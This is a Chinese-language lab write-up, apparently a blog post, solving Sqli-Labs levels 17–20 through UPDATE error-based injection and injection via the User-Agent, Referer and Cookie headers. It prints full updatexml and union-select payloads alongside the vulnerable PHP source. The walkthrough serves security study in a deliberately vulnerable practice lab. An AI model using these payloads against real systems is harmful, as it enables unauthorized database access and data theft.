Sqli-Labs 17-20详解

less-17

这关是跟换密码,所以涉及到的是update注入,而我们都知道sql语句中update是不会返回数据的,只会返回更新数据成功与失败,所以往往update注入的话是要与报错注入一起进行的

 

这边使用了如下payload却得出了这种错误

admin' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

 

查了一下说是类型错误

所以改成了

-1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

 

正常爆表,顺利过关

另外使用sqlmap也可以顺利过关

 在此处sqlmap可以顺利找到passwd这个注入点

less-18 头部注入

查看源码

$uagent = $_SERVER['HTTP_USER_AGENT'];

$IP = $_SERVER['REMOTE_ADDR'];

HTTP_USER_AGENT是用来获取用户相关信息,包括了用户浏览器,操作系统工程,是

而我在想REMOTE_ADDR到底是访问者的IP地址还是这个靶场本地地址,因为我的靶场放在物理机上,并且访问的浏览器也是在我本地,所以并不能辨别。

这个时候我选择开启虚拟机来访问我的物理机来确定这个IP地址到底是哪边的。

 

真相了,是靶场所在的IP

言归正传;再看源码

$uname = check_input($_POST['uname']);

$passwd = check_input($_POST['passwd']);

在这个关卡中已经对uname和passwd进行过筛,并且使用sqlmap(level 1)也并没有检测出注入点

因此我们可以把目光转到下面源码

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";

在源码中并没有对$uagent和$IP 这两个变量进行过筛,所以这就是我们可以利用的点

但是,这两个变量又体现在通信中的哪个位置呢?此时就需要用burpsuite抓包查看了。

查看数据包

 

但是刚刚页面显示的IP好像是靶场所在的地址,所以基本上可以确定是这个User-Agent了,那么就来试试

 

随便输入看下有没有报错

 

真的报错了,这下稳了。

依照源码中的sql语句构造payload

 

 

得到库名,接下去的就很常规了。

另外需要注意的是上一关update注入的时候是否已经吧密码改了,这关必须是要有正确的账号密码才可以进行注入,

 

如果账号密码不对这边返回的是空,根本无法进行下一步操作。

less-19

吸取上一把的教训,我们这把先登录。

 

发现这么一个东西,它代表什么呢?

抓个包试试:

 

发现与数据包的Referer不能说的一模一样,那可以说是半径八两

referer 是一个常见字段,提供访问来源的信息。HTTP 协议在请求(request)的头信息里面,设计了一个Referer字段,给出"引荐网页"的 URL。就是要告诉服务器,你从哪里来。

 

如果我们从一个空白页面直接输入网址进入就不会有这个Referer了

接下来查看源码

$uagent = $_SERVER['HTTP_REFERER'];

$_SERVER中的HTTP_REFERER参数就是用来判断用户的来路,

 并且接收的数据是要与数据库做交互的,而且这个变量可控,如此一来注入点不就慢慢明朗了吗。再来看看有没有报错点

有报错点,那么现在就来构造payload

1' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1

 

得到数据库名,接下来的操作就很常规了。

less-20 Cookie注入

吸取上上把的教训,这把依然先登录

 登录后得到这个页面

直接查看源码:

 发现IP跟agent已经没有跟数据库做交互了,

但是有一个东西与数据库做了交互,那就是-----cookie

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

验证注入点:

Cookie: uname=admin' and 1=1--+ 页面显示正常

Cookie: uname=admin' and 1=2--+ 页面显示异常

接下来就是很常规的一些手法了,注意这边admin记得改,让它无数据回显,不然联合查询的时候数据显示不出来。

Cookie: uname=-1' and 1=1 order by 3--+ 判断字段数

Cookie: uname=-1' and 1=1 union select 1,2,group_concat(table_schema) from information_schema.tables--+爆库

 

后面的常规操作就不说了。

OK今天就先到这。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值